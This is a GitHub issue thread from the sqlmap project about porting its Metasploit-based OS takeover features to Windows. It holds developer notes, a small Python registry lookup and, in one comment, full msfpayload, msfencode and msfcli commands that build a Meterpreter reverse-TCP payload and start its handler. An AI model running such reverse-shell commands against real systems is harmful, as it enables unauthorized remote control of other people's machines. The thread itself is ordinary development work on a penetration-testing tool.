sqlmap icon indicating copy to clipboard operation
sqlmap copied to clipboard

Out-of-band takeover features need to work also on Windows

Open bdamele opened this issue 13 years ago • 6 comments

Now that Metasploit properly runs on Windows too (without cygwin), we definitely need to support all functionalities on Windows too, if possible. Hence, --os-pwn/--os-smbrelay/--os-smb code need to be reviewed: metasploit.py, subprocessng.py and icmpsh*.py.

bdamele avatar Jun 26 '12 15:06 bdamele

Sample run: C:\metasploit>scripts\setenv.bat C:\metasploit\msf3>ruby msfpayload

stamparm avatar Jul 26 '12 14:07 stamparm

Sample generic one-liner run:

<metasploit_install_dir>\scripts\setenv.bat & ruby <metasploit_install_dir>\msf3\msfpayload

stamparm avatar Jul 26 '12 14:07 stamparm

Installation directory registry location:

"HKEY_LOCAL_MACHINE"\"SOFTWARE\Rapid7\Metasploit"\"Location"

stamparm avatar Jul 26 '12 14:07 stamparm

import subprocess

IS_WIN = subprocess.mswindows

def _(key, value):
    retVal = None

    if IS_WIN:
        try:
            from  _winreg import ConnectRegistry, OpenKey, QueryValueEx, HKEY_LOCAL_MACHINE
            _ = ConnectRegistry(None, HKEY_LOCAL_MACHINE)
            _ = OpenKey(_, key)
            retval = QueryValueEx(_, value)[0]
        except:  # Pokemon Exception Handling
            pass

    return retVal

installDir = _(r"SOFTWARE\Rapid7\Metasploit", "Location")

stamparm avatar Jul 26 '12 14:07 stamparm

Just for further reference for commands/forms which need to be supported:

/usr/local/bin/msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 R | /usr/local/bin/msfencode -a x86 -e x86/alpha_mixed -o /home/stamparm/Dropbox/Work/sqlmap/output/192.168.21.129/tmpmcaro -t raw BufferRegister=EAX

/usr/local/bin/msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=48426 LHOST=192.168.21.1 E

stamparm avatar Jul 27 '12 12:07 stamparm

Consider to rewrite the Metasploit integration by interacting with the Metasploit RPC interface (msfrpcd) instead of wrapping the msfconsole/msfpayload/msfencode executables

bdamele avatar Dec 04 '12 23:12 bdamele